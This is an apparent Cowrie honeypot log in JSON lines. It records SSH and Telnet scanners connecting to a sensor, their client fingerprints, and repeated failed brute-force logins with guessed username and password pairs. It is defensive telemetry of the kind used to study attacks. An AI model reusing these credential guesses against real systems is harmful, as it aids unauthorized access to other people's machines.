{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":48508,"dst_ip":"159.203.135.109","dst_port":22,"session":"1109fda3899d","protocol":"ssh","message":"New connection: 159.203.92.129:48508 (159.203.135.109:22) [session: 1109fda3899d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:49:18.939699Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:49:18.944579Z","src_ip":"159.203.92.129","session":"1109fda3899d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:49:18.949257Z","src_ip":"159.203.92.129","session":"1109fda3899d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"root123321","message":"login attempt [administrator/root123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:49:18.961772Z","src_ip":"159.203.92.129","session":"1109fda3899d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:49:19.969146Z","src_ip":"159.203.92.129","session":"1109fda3899d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.40.30.168","src_port":44000,"dst_ip":"159.203.135.109","dst_port":22,"session":"a129d00a6a50","protocol":"ssh","message":"New connection: 185.40.30.168:44000 (159.203.135.109:22) [session: a129d00a6a50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:49:35.259930Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:49:35.265032Z","src_ip":"185.40.30.168","session":"a129d00a6a50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:49:35.398103Z","src_ip":"185.40.30.168","session":"a129d00a6a50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test0000","message":"login attempt [test/test0000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:49:35.953398Z","src_ip":"185.40.30.168","session":"a129d00a6a50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:49:37.085424Z","src_ip":"185.40.30.168","session":"a129d00a6a50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.95.157.171","src_port":39282,"dst_ip":"10.17.0.5","dst_port":22,"session":"f071e33ad7a3","protocol":"ssh","message":"New connection: 150.95.157.171:39282 (10.17.0.5:22) [session: f071e33ad7a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:49:45.766880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:49:45.776691Z","src_ip":"150.95.157.171","session":"f071e33ad7a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:49:45.934412Z","src_ip":"150.95.157.171","session":"f071e33ad7a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webuser","password":"1234","message":"login attempt [webuser/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:49:46.580366Z","src_ip":"150.95.157.171","session":"f071e33ad7a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:49:47.748697Z","src_ip":"150.95.157.171","session":"f071e33ad7a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":42763,"dst_ip":"159.203.135.109","dst_port":22,"session":"d83b75e388ec","protocol":"ssh","message":"New connection: 193.46.255.86:42763 (159.203.135.109:22) [session: d83b75e388ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:50:00.036973Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:50:00.047435Z","src_ip":"193.46.255.86","session":"d83b75e388ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:50:00.194216Z","src_ip":"193.46.255.86","session":"d83b75e388ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adm","password":"123456","message":"login attempt [adm/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:50:00.818305Z","src_ip":"193.46.255.86","session":"d83b75e388ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adm","password":"abc123","message":"login attempt [adm/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:50:01.960269Z","src_ip":"193.46.255.86","session":"d83b75e388ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adm","password":"abcd123","message":"login attempt [adm/abcd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:50:03.103471Z","src_ip":"193.46.255.86","session":"d83b75e388ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adm","password":"abcd1234","message":"login attempt [adm/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:50:04.246440Z","src_ip":"193.46.255.86","session":"d83b75e388ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adm","password":"abc1234","message":"login attempt [adm/abc1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:50:05.389769Z","src_ip":"193.46.255.86","session":"d83b75e388ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":38592,"dst_ip":"159.203.135.109","dst_port":22,"session":"e169fcfea3be","protocol":"ssh","message":"New connection: 159.203.92.129:38592 (159.203.135.109:22) [session: e169fcfea3be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:50:05.430999Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:50:06.107840Z","src_ip":"159.203.92.129","session":"e169fcfea3be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:50:06.111922Z","src_ip":"159.203.92.129","session":"e169fcfea3be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.5","message":"Connection lost after 6.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:50:06.534212Z","src_ip":"193.46.255.86","session":"d83b75e388ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"root1234","message":"login attempt [administrator/root1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:50:07.056721Z","src_ip":"159.203.92.129","session":"e169fcfea3be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:50:08.297898Z","src_ip":"159.203.92.129","session":"e169fcfea3be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"105.184.77.81","src_port":50391,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa76bdffaaea","protocol":"telnet","message":"New connection: 105.184.77.81:50391 (10.17.0.5:23) [session: aa76bdffaaea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:50:18.642546Z"}
{"eventid":"cowrie.session.connect","src_ip":"125.166.19.90","src_port":17955,"dst_ip":"159.203.135.109","dst_port":22,"session":"a9d0f79ede84","protocol":"ssh","message":"New connection: 125.166.19.90:17955 (159.203.135.109:22) [session: a9d0f79ede84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:50:27.223759Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:50:27.231109Z","src_ip":"125.166.19.90","session":"a9d0f79ede84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:50:27.505389Z","src_ip":"125.166.19.90","session":"a9d0f79ede84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":18493,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae5b2e55a8a0","protocol":"ssh","message":"New connection: 213.209.159.159:18493 (10.17.0.5:22) [session: ae5b2e55a8a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:50:28.384333Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:50:28.391399Z","src_ip":"213.209.159.159","session":"ae5b2e55a8a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:50:28.473658Z","src_ip":"213.209.159.159","session":"ae5b2e55a8a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webadmin","password":"P@55w0rd","message":"login attempt [webadmin/P@55w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:50:28.638974Z","src_ip":"125.166.19.90","session":"a9d0f79ede84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"briley","password":"briley","message":"login attempt [briley/briley] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:50:28.880512Z","src_ip":"213.209.159.159","session":"ae5b2e55a8a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:50:29.917246Z","src_ip":"125.166.19.90","session":"a9d0f79ede84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"briley","password":"briley1","message":"login attempt [briley/briley1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:50:29.965158Z","src_ip":"213.209.159.159","session":"ae5b2e55a8a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"briley","password":"briley123","message":"login attempt [briley/briley123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:50:31.050949Z","src_ip":"213.209.159.159","session":"ae5b2e55a8a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.953293323516846,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:50:31.595689Z","src_ip":"105.184.77.81","session":"aa76bdffaaea","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"briley","password":"briley1234","message":"login attempt [briley/briley1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:50:32.136544Z","src_ip":"213.209.159.159","session":"ae5b2e55a8a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"briley","password":"briley12345","message":"login attempt [briley/briley12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:50:33.221360Z","src_ip":"213.209.159.159","session":"ae5b2e55a8a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:50:34.307849Z","src_ip":"213.209.159.159","session":"ae5b2e55a8a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.95.157.171","src_port":56328,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf390b18b960","protocol":"ssh","message":"New connection: 150.95.157.171:56328 (10.17.0.5:22) [session: bf390b18b960]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:50:35.564706Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:50:35.569646Z","src_ip":"150.95.157.171","session":"bf390b18b960","protocol":"ssh"}
